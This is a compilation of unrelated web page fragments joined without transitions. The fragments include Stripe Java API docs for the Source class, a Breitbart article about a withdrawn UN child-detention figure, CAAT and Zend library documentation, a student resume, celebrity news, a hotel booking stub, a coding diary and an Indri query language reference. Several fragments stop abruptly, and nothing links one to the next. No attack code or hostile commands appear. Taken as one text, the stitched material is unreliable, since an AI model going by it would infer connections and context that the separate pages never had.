public class Source implements StripeModel, StripePaymentSource
Model for a Sources API object.
| Modifier and Type | Class and Description |
|---|---|
static class |
Source.Companion |
| Modifier and Type | Field and Description |
|---|---|
static Source.Companion |
Companion |
| Modifier and Type | Method and Description |
|---|---|
static java.lang.String |
asSourceType(java.lang.String sourceType) |
java.lang.String |
component1()
Unique identifier for the object.
|
SourceOwner |
component10()
Information about the owner of the payment instrument that may be used or required by
|
SourceReceiver |
component11()
Information related to the receiver flow.
|
SourceRedirect |
component12()
Information related to the redirect flow.
|
java.lang.String |
component13()
The status of the source,
|
java.util.Map<java.lang.String,java.lang.Object> |
component14() |
StripeSourceTypeModel |
component15() |
java.lang.String |
component16()
Gets the
|
java.lang.String |
component17()
Gets the type of this source as a String.
|
java.lang.String |
component18()
Either
|
java.lang.Long |
component2()
A positive integer in the smallest currency unit
|
SourceOrder |
component20()
Information about the items and shipping associated with the source.
|
java.lang.String |
component21()
Extra information about a source.
|
java.lang.String |
component3()
The client secret of the source.
|
SourceCodeVerification |
component4()
Information related to the code verification flow.
|
java.lang.Long |
component5()
Time at which the object was created.
|
java.lang.String |
component6()
Three-letter
|
java.lang.String |
component7()
The authentication
|
java.lang.Boolean |
component8()
Has the value true if the object exists in live mode or the value false if the object
|
java.util.Map<java.lang.String,java.lang.String> |
component9()
Set of key-value pairs that you can attach to an object.
|
Source |
copy(java.lang.String id,
java.lang.Long amount,
java.lang.String clientSecret,
SourceCodeVerification codeVerification,
java.lang.Long created,
java.lang.String currency,
java.lang.String flow,
java.lang.Boolean isLiveMode,
java.util.Map<java.lang.String,java.lang.String> metaData,
SourceOwner owner,
SourceReceiver receiver,
SourceRedirect redirect,
java.lang.String status,
java.util.Map<java.lang.String,? extends java.lang.Object> sourceTypeData,
StripeSourceTypeModel sourceTypeModel,
java.lang.String type,
java.lang.String typeRaw,
java.lang.String usage,
WeChat weChatParam,
SourceOrder sourceOrder,
java.lang.String statementDescriptor)
Model for a Sources API object.
|
boolean |
equals(java.lang.Object p) |
static Source |
fromJson(org.json.JSONObject jsonObject) |
java.lang.Long |
getAmount()
A positive integer in the smallest currency unit
|
java.lang.String |
getClientSecret()
The client secret of the source.
|
SourceCodeVerification |
getCodeVerification()
Information related to the code verification flow.
|
java.lang.Long |
getCreated()
Time at which the object was created.
|
java.lang.String |
getCurrency()
Three-letter
|
java.lang.String |
getFlow()
The authentication
|
java.lang.String |
getId()
Unique identifier for the object.
|
java.util.Map<java.lang.String,java.lang.String> |
getMetaData()
Set of key-value pairs that you can attach to an object.
|
SourceOwner |
getOwner()
Information about the owner of the payment instrument that may be used or required by
|
SourceReceiver |
getReceiver()
Information related to the receiver flow.
|
SourceRedirect |
getRedirect()
Information related to the redirect flow.
|
SourceOrder |
getSourceOrder()
Information about the items and shipping associated with the source.
|
java.util.Map<java.lang.String,java.lang.Object> |
getSourceTypeData() |
StripeSourceTypeModel |
getSourceTypeModel() |
java.lang.String |
getStatementDescriptor()
Extra information about a source.
|
java.lang.String |
getStatus()
The status of the source,
|
java.lang.String |
getType()
Gets the
|
java.lang.String |
getTypeRaw()
Gets the type of this source as a String.
|
java.lang.String |
getUsage()
Either
|
WeChat |
getWeChat() |
int |
hashCode() |
java.lang.Boolean |
isLiveMode()
Has the value true if the object exists in live mode or the value false if the object
|
java.lang.String |
toString() |
equals, hashCode
getId
public static Source.Companion Companion
public WeChat getWeChat()
public java.lang.String getId()
Unique identifier for the object.
public java.lang.Long getAmount()
A positive integer in the smallest currency unit
(that is, 100 cents for $1.00, or 1 for ¥1,Japanese Yen being a zero-decimal currency) representing the total amount associated withthe source. This is the amount for which the source will be chargeable once ready.Required for single_use
sources.
public java.lang.String getClientSecret()
The client secret of the source.
Used for client-side retrieval using a publishable key.
public SourceCodeVerification getCodeVerification()
Information related to the code verification flow.
Present if the source is authenticatedby a verification code (flow
is code_verification
).
public java.lang.Long getCreated()
Time at which the object was created.
Measured in seconds since the Unix epoch.
public java.lang.String getCurrency()
Three-letter
ISO code for the currency associated withthe source. This is the currency for which the source will be chargeable once ready.Required for single_use
sources.
public java.lang.String getFlow()
The authentication
flow
of the source.flow
is one of redirect
, receiver
, code_verification
, none
.
public java.lang.Boolean isLiveMode()
Has the value true if the object exists in live mode or the value false if the object
exists in test mode.
public java.util.Map<java.lang.String,java.lang.String> getMetaData()
Set of key-value pairs that you can attach to an object.
This can be useful for storingadditional information about the object in a structured format.
public SourceOwner getOwner()
Information about the owner of the payment instrument that may be used or required by
particular source types.
public SourceReceiver getReceiver()
Information related to the receiver flow.
Present if the source is a receiver (flow is SourceFlow.RECEIVER).
public SourceRedirect getRedirect()
Information related to the redirect flow.
Present if the source is authenticated by aredirect (flow is SourceFlow.REDIRECT).
public java.lang.String getStatus()
The status of the source,
one of canceled
, chargeable
, consumed
, failed
,or pending
. Only chargeable
sources can be used to create a charge.
public java.util.Map<java.lang.String,java.lang.Object> getSourceTypeData()
public StripeSourceTypeModel getSourceTypeModel()
public java.lang.String getType()
Gets the
interface Source.SourceType
of this Source, as one of the enumerated values.If a custom source type has been created, this returns SourceType.UNKNOWN. To getthe raw value of an SourceType.UNKNOWN type, use typeRaw.
interface Source.SourceType
of this Sourceinterface Source.SourceType
public java.lang.String getTypeRaw()
Gets the type of this source as a String.
If it is a known type, this will returna string equal to the interface Source.SourceType
returned from type. Thismethod is not restricted to known types
interface Source.SourceType
public java.lang.String getUsage()
Either
reusable
or single_use
. Whether this source should be reusable or not. Some sourcetypes may or may not be reusable by construction, while others may leave the option atcreation. If an incompatible value is passed, an error will be returned.
public SourceOrder getSourceOrder()
Information about the items and shipping associated with the source.
Required fortransactional credit (for example Klarna) sources before you can charge it.
public java.lang.String getStatementDescriptor()
Extra information about a source.
This will appear on your customer’s statementevery time you charge the source.
public java.lang.String component1()
Unique identifier for the object.
public java.lang.Long component2()
A positive integer in the smallest currency unit
(that is, 100 cents for $1.00, or 1 for ¥1,Japanese Yen being a zero-decimal currency) representing the total amount associated withthe source. This is the amount for which the source will be chargeable once ready.Required for single_use
sources.
public java.lang.String component3()
The client secret of the source.
Used for client-side retrieval using a publishable key.
public SourceCodeVerification component4()
Information related to the code verification flow.
Present if the source is authenticatedby a verification code (flow
is code_verification
).
public java.lang.Long component5()
Time at which the object was created.
Measured in seconds since the Unix epoch.
public java.lang.String component6()
Three-letter
ISO code for the currency associated withthe source. This is the currency for which the source will be chargeable once ready.Required for single_use
sources.
public java.lang.String component7()
The authentication
flow
of the source.flow
is one of redirect
, receiver
, code_verification
, none
.
public java.lang.Boolean component8()
Has the value true if the object exists in live mode or the value false if the object
exists in test mode.
public java.util.Map<java.lang.String,java.lang.String> component9()
Set of key-value pairs that you can attach to an object.
This can be useful for storingadditional information about the object in a structured format.
public SourceOwner component10()
Information about the owner of the payment instrument that may be used or required by
particular source types.
public SourceReceiver component11()
Information related to the receiver flow.
Present if the source is a receiver (flow is SourceFlow.RECEIVER).
public SourceRedirect component12()
Information related to the redirect flow.
Present if the source is authenticated by aredirect (flow is SourceFlow.REDIRECT).
public java.lang.String component13()
The status of the source,
one of canceled
, chargeable
, consumed
, failed
,or pending
. Only chargeable
sources can be used to create a charge.
public java.util.Map<java.lang.String,java.lang.Object> component14()
public StripeSourceTypeModel component15()
public java.lang.String component16()
Gets the
interface Source.SourceType
of this Source, as one of the enumerated values.If a custom source type has been created, this returns SourceType.UNKNOWN. To getthe raw value of an SourceType.UNKNOWN type, use typeRaw.
interface Source.SourceType
of this Sourceinterface Source.SourceType
public java.lang.String component17()
Gets the type of this source as a String.
If it is a known type, this will returna string equal to the interface Source.SourceType
returned from type. Thismethod is not restricted to known types
interface Source.SourceType
public java.lang.String component18()
Either
reusable
or single_use
. Whether this source should be reusable or not. Some sourcetypes may or may not be reusable by construction, while others may leave the option atcreation. If an incompatible value is passed, an error will be returned.
public SourceOrder component20()
Information about the items and shipping associated with the source.
Required fortransactional credit (for example Klarna) sources before you can charge it.
public java.lang.String component21()
Extra information about a source.
This will appear on your customer’s statementevery time you charge the source.
public Source copy(java.lang.String id, java.lang.Long amount, java.lang.String clientSecret, SourceCodeVerification codeVerification, java.lang.Long created, java.lang.String currency, java.lang.String flow, java.lang.Boolean isLiveMode, java.util.Map<java.lang.String,java.lang.String> metaData, SourceOwner owner, SourceReceiver receiver, SourceRedirect redirect, java.lang.String status, java.util.Map<java.lang.String,? extends java.lang.Object> sourceTypeData, StripeSourceTypeModel sourceTypeModel, java.lang.String type, java.lang.String typeRaw, java.lang.String usage, WeChat weChatParam, SourceOrder sourceOrder, java.lang.String statementDescriptor)
Model for a Sources API object.
public java.lang.String toString()
public int hashCode()
public boolean equals(java.lang.Object p)
public static Source fromJson(org.json.JSONObject jsonObject)
public static java.lang.String asSourceType(java.lang.String sourceType)


Civil Service Reimagine
Innovative solutions to big issues
Using disruptive thinking to improve basic digital skills
Meet Kevin
Meet Mo
Current interventions
Localised personalised approaches work
They need
more resources
to support individuals
They need
more collaboration
to share best practice
Our solution
Benefits


UN Blames Trump for Obama Detaining 100K Migrant Children in 2015
A report by the United Nations (UN) falsely blamed President Trump for the detention of 100,000 migrant children who, in fact, were held in federal immigration custody in 2015 by President Obama.
by John BinderOn Monday, a UN report circulated around establishment media outlets like Reuters, AFP, and NPR reported a false story that claimed Trump was currently holding about 100,000 migrant children in custody.
“More than 100,000 children are currently being held in migration-related detention in the United States, often in violation of international law, the UN said Monday,” an AFP story on the UN report stated.
NPR ran with the UN report as well, writing that the Trump administration “is still holding more than 100,000 children in migration-related detention.”
The author of the UN report, though, now admits that the migrant child detention figures are from 2015, when Obama was president.
“The author of the report has clarified that his figures do not represent the number of children currently in migration-related US detention, but the total number of children in migration-related US detention in 2015,” the AFP wrote on Twitter, noting that they would delete their false story.
After realizing that the UN report falsely blamed Trump for Obama’s migrant child detention rate, Reuters deleted their story, writing in a post:
A Nov. 18 story headlined ‘U.S. has world’s highest rate of children in detention -U.N. study’ is withdrawn. The United Nations issued a statement on Nov. 19 saying the number was not current but was for the year 2015. No replacement story will be issued. [Emphasis added]
Multiple leading Democrats and the Democrat National Committee (DNC) ran with the UN report, blaming Trump for Obama holding 100,000 migrant children in detention in 2015:
John Binder is a reporter for Breitbart News. Follow him on Twitter at @JxhnBinder .


CAAT.Actor
CAAT.Actor is the simplest object instance that CAAT is able to manage. Every on-screen element is an Actor. In fact, the Director and the Scene objects are a kind of CAAT.Actor instance as well.
This object class contains default functionality for:
- Set location and size on screen. Actors are always rectangular shapes, but not needed to be AABB.
- Set affine transforms (rotation, scale and translation)
- Define life cycle.
- Manage alpha transparency.
- Manage and keep track of applied Behaviors.
- Compose transformations. A container Actor will transform its children before they apply their own transformation.
- Enable clipping.
- The API is developed to allow method chaining when possible.
- Handle input (either mouse events, touch, keys and accelerometer)
- etc.
This class is the superclass for other Actors, so it must be specialized to perform concrete operations. There some out-of-the-box Actors already available in CAAT:
- ImageActor
- SpriteActor
- TextActor
- ShapeActor
- InterpolatorActor
- PathActor
- ...
but as you'll see, developing a new breed of Actors will be just a few lines of code.
One important fact about Actors is the coordinate system. An Actor will always report local coordinates despite the transformation applied to it. In example, an Actor can be scaled twice widely, and rotated 45 degrees, and on mouseMove the received event will report local Actor coordinates as if the actor itself weren't transformed.
An Actor by itself won't display on screen. The correct hierarchy to be defined is as follows:
- Create a Director
- Create a Scene
- Add at least one Scene to the Director
- Add Actor instances to the Scene
More info on CAAT.Actor class
Events
Lifecycle
Transformations
Behaviors
Background Image
Paint method
Caching


Solution-oriented CSE undergrad with strong foundation in math and logic. Adept at motivating self and others. Passionate about ML ,Problem solving, Web development. Seeking to practice solid development skills with a focus on collaboration, communication and passion.
Built a window based application using java swing, socket connection.
Data encrypted using AES algorithm and key encrypted using RSA algorithm , Client uses the key and decrypts data sent by Data owner.
Implemented DNA based method for encryption and decryption of the file or information and storing it in the cloud.
Worked with a team of 6 and handled various activities in annual cultural fest “Melange” in NIT PATNA.
Also performed mono and a group act and got a gold medal.
Pursuing Computer Science and Engineering degree ,currently in 3rd year(6 semester), with CGPA(7.88).
Academic Courses:
Data Structures in C++
Web Technology
Design and analysis of Algorithms
Operating System
Object Oriented Programming
Database Management Systems
Machine Learning and Data Mining
Predicting liver cancer using global labels. We have used the TCGA dataset and Resnet-50 to extract features and MLP to predict output.
View ProjectUsing MongoDb Node.js Express.js.,User authentication using JWT tokenization. React js framework , used useState function , props etc . and css.
View ProjectBuilt a window based application using java swing as frontend. Data encrypted using AES algorithm and key encrypted using RSA algorithm , Client uses key and decrypts data sent by Data owner.
View ProjectUsing NLTK library and Port Stemmer algorithm,Dataset on Youtube comments in English, Tamil And Malayalam.
View Project


Entity Endpoint: http://localhost:1234/projects/PROJECT/entities/ENTITY_TYPE/ids/ENTITY_ID/tags/TAG
Extraction Endpoint: http://localhost:1234/projects/PROJECT/entities/ENTITY_TYPE/ids/ENTITY_ID/extractions/EXTRACTION_FIELD/keys/EXTRACTION_KEY
Project: myProject
Show: [[show]]
Tag: [[tag]]
Tag List: [[tagList]]
Data Body: [[body]]
Data Method: [[method]]
Data URL: [[url]]
Tag Manager Functions


Björn Nilsson and Jens Theis
\(\chi_i\): Criticality level (LO or HI)
\(A_i\): Release time
\(D_i\): Deadline
\(C_i(\chi)\): WCET (LO and HI)
Baruah, Li and Stougie [2]
Run the job with highest priority
\(J_1: 3 -1 = 2 < 3\) NO
\(J_2: 3 -2 = 1 \geq 1\) OK
\(J_1 \rhd J_2\)
Baruah and Fohler [1]
Park and Kim [3]
The slack can be used by other tasks


Place your cursor over the menu label in the upper left-hand corner to see the example.
This is a example of combining four different CSS tricks: Hover Sidebar, Enlarger Button Menu, Background-Image to Replace Text, Pure CSS Popups.
In the working stylesheet, all the CSS is of level 1 and 2.
Screenshots in Mozilla
The HTML Code

Home

New

Edit

Manage

Logout

The CSS Code
Check out the working stylesheet and dissect it. You can also view the original stylesheet that makes more sense to me but does not work as well.
Compatibility
First off, from my testing it does not work in Internet Explorer 6.0. It does work in Mozilla 1.4., Opera 6.0., and Safari 1.0. Thanks to Tom, Daniel Von Fange, and Paul Hammond for the testing it in Safari.
Return to CSS Play
© 2003 Seamus P. H. Leahy
You may take and improve upon this.


Corrie's Lucy-Jo Hudson says co-parenting with ex Alan Halsall 'can be difficult'
Coronation Street's Lucy-Jo Hudson and Alan Halsall have split, but continue to co parent together, and Lucy says it's not easy
by Irishmirror.ieCorrie actress Lucy-Jo Hudson, who plays Donna-Marie Quinn, has opened up about co parenting with her ex Alan Halsell, who plays Tyrone Dobbs on the soap.
The pair met on the Coronation Street set in 2008, and married seven years later.
They split in 2018, and currently co parent their six year old daughter Sienna Rae, while they are both in new relationships.
Lucy-Jo, 36, is pregnant with her new partner Lewis Devine, 30, who she started dating two months after announcing her split with Alan.
Meanwhile Alan, 37, is dating Tisha Merry, 25, who also stars in Corrie and plays Steph Britton.
Lucy-Jo told OK! : “Co-parenting has its challenges and it can be difficult with everyone’s schedules but you make it work for the child involved.”
She added that she is not fazed by Alan's new girlfriend, adding that Lewis would never try to take over Alan's role as Sienna-Rae's father.
“I’m happy Sienna has a good male and female role model on my side and with Alan and his girlfriend", she explained.
“She has more people to love her, and as long as Sienna’s happy, that’s all that matters to me.”
Lucy-Jo, who is due in February, met her current boyfriend Lewis on set for the Snow White panto they both starred in, and they have been together for 18 months.
She called their pregnancy a "miracle" and a "welcome surprise", and they previously revealed that they are expecting a baby boy.
Meanwhile, Alan recently chatted to Mirror Online about the pressure his fans are putting on his to propose to Tisha, 25.
He told us: "The pressure is there from day one but we've not been together that long, so I think we'll just enjoy ourselves for now."
But Tisha set tongues wagging when she posed up wearing a fertility bracelet for an Instagram snap.


Zend Framework
LICENSE
This source file is subject to the new BSD license that is bundled with this package in the file LICENSE.txt. It is also available through the world-wide-web at this URL: http://framework.zend.com/license/new-bsd If you did not receive a copy of the license and are unable to obtain it through the world-wide-web, please send an email to<EMAIL_ADDRESS>so we can send you a copy immediately.
Namespace proxy with additional convenience methods for the IMFS namespace.
__call(
string $methodName, array $args
)
:
\Zend_Service_Nirvanix_Response
When a method call is made against this proxy, convert it to an HTTP request to make against the Nirvanix REST service.
Inherited from: \Zend_Service_Nirvanix_Namespace_Base::__call()$imfs->DeleteFiles(array('filePath' => 'foo'));
Assuming this object was proxying the IMFS namespace, the method call above would call the DeleteFiles command. The POST parameters would be filePath, merged with the $this->_defaults (containing the sessionToken).
| Name | Type | Description |
|---|---|---|
| $methodName | string | Name of the command to call on this namespace. |
| $args | array | Only the first is used and it must be an array. It contains the POST params. |
| Type | Description |
|---|---|
| \Zend_Service_Nirvanix_Response |
__construct(
array $options
=
array
)
:
void
Class constructor.
Inherited from: \Zend_Service_Nirvanix_Namespace_Base::__construct()| Name | Type | Description |
|---|---|---|
| $options | array | Options and dependency injection |
_makeUri(
string $methodName
)
:
string
Make a complete URI from an RPC method name. All Nirvanix REST service URIs use the same format.
Inherited from: \Zend_Service_Nirvanix_Namespace_Base::_makeUri()| Name | Type | Description |
|---|---|---|
| $methodName | string | RPC method name |
| Type | Description |
|---|---|
| string |
_wrapResponse(
\Zend_Http_Response $httpResponse
)
:
\Zend_Service_Nirvanix_Response
All Nirvanix REST service calls return an XML payload. This method makes a Zend_Service_Nirvanix_Response from that XML payload.
Inherited from: \Zend_Service_Nirvanix_Namespace_Base::_wrapResponse()| Name | Type | Description |
|---|---|---|
| $httpResponse | \Zend_Http_Response | Raw response from Nirvanix |
| Type | Description |
|---|---|
| \Zend_Service_Nirvanix_Response | Wrapped response |
getContents(
string $filePath, integer $expiration
=
3600
)
:
string
Convenience function to get the contents of a file on the Nirvanix IMFS. Analog to PHP's file_get_contents().
| Name | Type | Description |
|---|---|---|
| $filePath | string | Remote path and filename |
| $expiration | integer | Number of seconds that Nirvanix make the file available for download. |
| Type | Description |
|---|---|
| string | Contents of file |
getHttpClient(
)
:
\Zend_Http_Client
Return the HTTP client used for this namespace. This is useful for inspecting the last request or directly interacting with the HTTP client.
Inherited from: \Zend_Service_Nirvanix_Namespace_Base::getHttpClient()| Type | Description |
|---|---|
| \Zend_Http_Client |
putContents(
string $filePath, integer $data, string $mimeType
=
null
)
:
\Zend_Service_Nirvanix_Response
Convenience function to put the contents of a string into the Nirvanix IMFS. Analog to PHP's file_put_contents().
| Name | Type | Description |
|---|---|---|
| $filePath | string | Remote path and filename |
| $data | integer | Data to store in the file |
| $mimeType | string | Mime type of data |
| Type | Description |
|---|---|
| \Zend_Service_Nirvanix_Response |
unlink(
string $filePath
)
:
\Zend_Service_Nirvanix_Response
Convenience function to remove a file from the Nirvanix IMFS.
Analog to PHP's unlink().
| Name | Type | Description |
|---|---|---|
| $filePath | string | Remove path and filename |
| Type | Description |
|---|---|
| \Zend_Service_Nirvanix_Response |


Radisson Blu Hotel
#38 of 1289 hotels in New Delhi
NH-8, near Mahipalpur Village Extension, Delhi Cantonment, New Delhi 110037, INDIA
Name : John Doe
Number of Adults : 2
Check-in Date : 02/08/2020
Check-out Date : 04/08/2020
Number of Adults : 2
Check-in Date : 02/08/2020
Check-out Date : 04/08/2020
Tariff Breakdown: Rs.2000 x 2 Adults x 2 Nights
Total Amount: Rs.8000


Day 19
Today’s Progress
More MongoDB lessons. I’ve refactored the MongoDB code with Mongoose.
Thoughts
Not a lot to show for today, but I did learn more about Mongoose, and refactored my previous code using Mongoose.
I’ve added my first POST request to the API, which is now wired up to the database, as opposed to console.log’ing the body to the screen.
More Mongoose tomorrow, which I’m looking forward to.
My only concern is that I’m not spending enough time going over what I have learned, I’m forgetting stuff that I learned 2 days ago already!
I’m also worried that if I spend some time going over a design course, I’ll start forgetting the Node, Express and MongoDB stuff.
Useful Links
Written on May 9, 2018


$company_profile.company_name
$company_profile.service_type
Basic Information
Business Type:
$basic_info.business_type
Product/Service(We Sell):
$basic_info.product_service
Trade&Market
$trade_market[0]
$trade_market[1]
$trade_market[2]
Factory Information
Factory Site(Sq.meters):
$factory_info.factory_size
square me...
QA/QC:
$factory_info.qa_qc
Number of Production Lines:
$factory_info.product_lines


More...
|
| | Builder (TSegmentedButtonBase component) |
| |
| virtual TBuilder | AllowDepress (bool allowDepress) |
| | Allow toggling the pressed state of each button. Only applicable when allowMultiple is false. More...
|
| |
| virtual TBuilder | AllowMultiple (bool allowMultiple) |
| | Allow multiple pressed buttons. More...
|
| |
| virtual TBuilder | AllowToggle (bool allowToggle) |
| | True to enable pressed/not pressed toggling. Defaults to: true More...
|
| |
| virtual TBuilder | DefaultType (string defaultType) |
| | The default xtype of child Components to create in this Container when a child item is specified as a raw configuration object, rather than as an instantiated Component. Defaults to 'panel'. More...
|
| |
| virtual TBuilder | DefaultUI (string defaultUI) |
| | Default ui to use for buttons in this segmented button. Buttons can override this default by specifying their own UI More...
|
| |
| virtual TBuilder | ForceSelection (bool? forceSelection) |
| | If allowMultiple is true, this config may be set to true to indicate that at least one button in the set must remain pressed at all times. More...
|
| |
| virtual TBuilder | Value (string value) |
| | The value of this button. More...
|
| |
| virtual TBuilder | Values (string[] values) |
| | The value of this button. More...
|
| |
| virtual TBuilder | Vertical (bool vertical) |
| | True to align the buttons vertically. Defaults to: false More...
|
| |
| virtual TBuilder | SetValue () |
| |
| virtual TBuilder | SetValue (int index) |
| |
| virtual TBuilder | SetValue (int[] index) |
| |
| virtual TBuilder | SetValue (string value) |
| |
| virtual TBuilder | SetValue (string[] value) |
| |
| virtual TBuilder | SetValue (object value) |
| |
◆ Builder()
◆ AllowDepress()
Allow toggling the pressed state of each button. Only applicable when allowMultiple is false.
◆ AllowMultiple()
Allow multiple pressed buttons.
◆ AllowToggle()
True to enable pressed/not pressed toggling. Defaults to: true
◆ DefaultType()
The default xtype of child Components to create in this Container when a child item is specified as a raw configuration object, rather than as an instantiated Component. Defaults to 'panel'.
◆ DefaultUI()
Default ui to use for buttons in this segmented button. Buttons can override this default by specifying their own UI
◆ ForceSelection()
If allowMultiple is true, this config may be set to true to indicate that at least one button in the set must remain pressed at all times.
If no value is configured, and no child buttons are configured pressed, the first child button is set pressed: true
◆ SetValue() [1/6]
◆ SetValue() [2/6]
◆ SetValue() [3/6]
◆ SetValue() [4/6]
◆ SetValue() [5/6]
◆ SetValue() [6/6]
◆ Value()
The value of this button.
◆ Values()
The value of this button.
◆ Vertical()
True to align the buttons vertically. Defaults to: false
The documentation for this class was generated from the following file:
- Factory/Builder/SegmentedButtonBaseBuilder.cs


Exceptions
Everything that can go wrong…
Couch gives quite a bit of feedback through numeric HTTP error codes. These exceptions
give less-unweildy names to some of the more common ones:
HTTPError
- Base class for all exceptions with HTTP status codes >= 400.
NotFound
- Raised when a 404 error occurs.
Conflict
- Raised when a 409 error occurs.
PreconditionFailed
- Raised when a 412 error occurs.
ServerError
- Raised when an HTTP status code >=500 occurs.


Indri Query Language Quick Reference
INTRODUCTION
The Indri query language, based on the Inquery query language, was designed to be robust. It can handle both simple keyword queries and extremely complex queries. Such a query language sets Indri apart from many other available search engines. It allows complex phrase matching, synonyms, weighted expressions, Boolean filtering, numeric (and dated) fields, and the extensive use of document structure (fields), among others.Although Indri handles unstructured documents, many of the query language features make use of structured (tagged) documents. Consider the following document:
  <title>Department Descriptions</title>   The following list describes ...
Agriculture
 ...
Chemistry
 ...
Computer Science
 ...
Electrical Engineering
 ...
In Indri, a document is viewed as a sequence of text that may contain arbitrary tags. In the example above, the document consists of text marked up with HTML tags.
For each tag type T within a document (i.e. title, body, h1, etc), we define the context of T to be all of the text and tags that appear within tags of type T. In the example above, all of the text and tags appearing between  and  tags defines the body context. A single context is generated for each unique tag name. Therefore, a context defines a subdocument. Note that because of nested tags certain word occurrences may appear in many contexts. It is also the case that there may be nested contexts. For example, within the  context there is a nested
 context made up of all of the text and tags that appear within the body context and within
 and
 tags. Here are the tags for the title, h1, and body contexts:
title context:
<title>Department Descriptions</title>
h1 context:

Agriculture

Chemistry
 ...
Computer Science
 ...
Electrical Engineering
 ...
body context:
 The following list describes ...
Agriculture
 ...
Chemistry
 ...
Computer Science
 ...
Electrical Engineering
 ...
Finally, each context is made up of one or more extents. An extent is a sequence of text that appear within a single begin/end tag pair of the same type as the context. For the example above, in the
 context, there are extents "
agriculture
", "
chemistry
", etc. Both the title and body contexts contain only a single extent because there is only a single pair of <title> ... </title> and  ...  tags, respectively. The number of extents for a given tag type T is determined by the number of sequences of the form: <T> text </T> that occur within the document.
The remainder of this document provides a broad overview of the language. For more specific details, see the Indri-related research papers and presentations.
QUERY LANGUAGE GRAMMAR
query := ( beliefOp )+ beliefOp := "#weight" ( extentRestrict )? weightedList | "#combine" ( extentRestrict )? unweightedList | "#or" ( extentRestrict )? unweightedList | "#not" ( extentRestrict )? '(' beliefOp ')' | "#wand" ( extentRestrict )? weightedList | "#wsum" ( extentRestrict )? weightedList | "#max" ( extentRestrict )? unweightedList | "#prior" '(' FIELD ')' | "#filrej" '(' unscoredTerm beliefOp ')' | "#filreq" '(' unscoredTerm beliefOp ')' | termOp ( '.' fieldList )? ( '.' '(' fieldList ')' )? termOp := ( "#od" POS_INTEGER | "#od" | '#' POS_INTEGER ) '(' ( unscoredTerm )+ ')' | ( "#uw" POS_INTEGER | "#uw" ) '(' ( unscoredTerm )+ ')' | "#band" '(' ( unscoredTerm )+ ')' | "#datebefore" '(' date ')' | "#dateafter" '(' date ')' | "#datebetween" '(' date ',' date ')' | "#dateequals" '(' date ')' | "<" ( unscoredTerm )+ ">" | "{" ( unscoredTerm )+ "}" | "#syn" '(' ( unscoredTerm )+ ')' | "#wsyn" '(' ( weight unscoredTerm )+ ')' | "#any" ':' TERM | "#any" '(' TERM ')' | "#less" '(' TERM integer ')' | "#greater" '(' TERM integer ')' | "#between" '(' TERM integer integer ')' | "#equals" '(' TERM integer ')' | "#base64" '(' ( "\t" | " " )* ( BASE64_CHAR )+ ( "\t" | " " )* ')' | "#base64quote" '(' ( '\t' | ' ' )* ( BASE64_CHAR )+ ( '\t' | ' ' )* ')' | '"' text '"' | "#wildcard" '(' TERM ')' | TEXT_TERM '*' | POS_INTEGER | POS_FLOAT | TERM extentRestrict := '[' "passage" POS_INTEGER ':' POS_INTEGER ']' | '[' FIELD ']' weightedList := '(' ( weight beliefOp )+ ')' unweightedList := '(' ( beliefOp )+ ')' unscoredTerm := termOp ( '.' fieldList )? fieldList := FIELD ( ',' FIELD )* date := POS_INTEGER '/' TERM '/' POS_INTEGER | POS_INTEGER TERM POS_INTEGER | TERM integer := POS_INTEGER | NEG_INTEGER weight := POS_FLOAT | POS_INTEGER TERM := ( '0'..'9' )+ ('a'..'z' | 'A'..'Z' | '-' | '_') | TEXT_TERM FIELD := TEXT_TERM TEXT_TERM := ( '\u0080'..'\u00ff' | ('a'..'z' | 'A'..'Z' | '0'..'9' | '-' | '_') )+ POS_INTEGER := ( '0'..'9' )+ NEG_INTEGER := '-' ( '0'..'9' )+ POS_FLOAT := ( '0'..'9' )+ '.' ( '0'..'9' )* BASE64_CHAR := ('a'..'z' | 'A'..'Z' | '0'..'9' | '+' | '/')
TERMS / PROXIMITY
Terms are the basic building blocks of Indri queries. Terms come in the form of single term, ordered and unordered phrases, synonyms, among others. In addition, there are a number of options that allow you to specify if a term should appear within a certain field, or if it should be scored within a given context.Terms:
- term -- stemmed / normalized term
- "term" -- unstemmed / unnormalized term
- #base64( ... ) -- converts from base64 -> ascii and then stems and normalizes. useful for including non-parsable terms in a query
- #base64quote( ... ) -- same as #base64 except the the ascii term is unstemmed and unnormalized
- dogs
- "NASA"
- #base64(Wyh2Lm4ucC5hLnIucy5hLmIubC5lLild) -- equivalent to query term [(u.n.p.a.r.s.a.b.l.e.)]
Proximity terms:
- #odN( ... ) -- ordered window -- terms must appear ordered, with at most N-1 terms between each
- #N( ... ) -- same as #odN
- #od( ... ) -- unlimited unordered window -- all terms must appear ordered anywhere within current context
- #uwN( ... ) unordered window -- all terms must appear within window of length N in any order
- #uw( ... ) -- unlimited unordered window -- all terms must appear within current context in any order
- #1(white house) -- matches "white house" as an exact phrase
- #2(white house) -- matches "white * house" (where * is any word or null)
- #uw2(white house) -- matches "white house" and "house white"
Synonyms:
- #syn( ... )
- { ... }
- < ... >
- #wsyn( ... )
Examples:
- #syn( #1(united states) #1(united states of america) )
- {dog canine}
- <#1(light bulb) lightbulb>
- #wsyn( 1.0 donald 0.8 don 0.5 donnie 0.2 donny )
Wildcard Operations:
As of version 2.4, the Indri Query Language now supports wildcard terms in the form of suffix-only wildcard operations. To specify a wildcard, use the #wildcard operator or place an asterisk (*) at the end of term. Note that only suffix-based wildcards are available at this time - that is, a wildcard term must have at least one character at the beginning and the wildcard operator (*) must occur at the end.
Since the wildcard operator will create a synonym list of available terms, it is necessary for performance reasons to limit the number of terms generated for any given wildcard operator. The default maximum number of synonyms generated is 100 for every wildcard term. This can be overridden in the query parameters by the use of the <maxWildcardTerms> parameter. If the limit is breached, an exception will be thrown.
Examples:
- #wildcard( lem ) - would match "lemur", "lemming", etc.
- lem* - would also match "lemur", "lemming", etc.
- le*ur - will actually generate two tokens - "le*" and "ur". You should ensure that you use only suffix-based wildcards.
"Any" operator:
- #any -- used to match extent types
- #any:PERSON -- matches any occurence of a PERSON extent. Note that the syntax #any(PERSON) is also accepted.
- #1(napolean died in #any:DATE) -- matches exact phrases of the form: "napolean died in <date>...</date>"
Field restriction / evaluation:
- expression.f1,,...,fN(c1,...,cN) -- matches when the expression appears in field f1 AND f2 AND ... AND fN and evaluates the expression using the language model defined by the concatenation of contexts c1...cN within the document.
- dog.title -- matches the term dog appearing in a title extent (uses document language model)
- #1(trevor strohman).person -- matches the phrase "trevor strohman" when it appears in a person extent (uses document language model)
- dog.(title) -- evaluates the term based on the title language model for the document
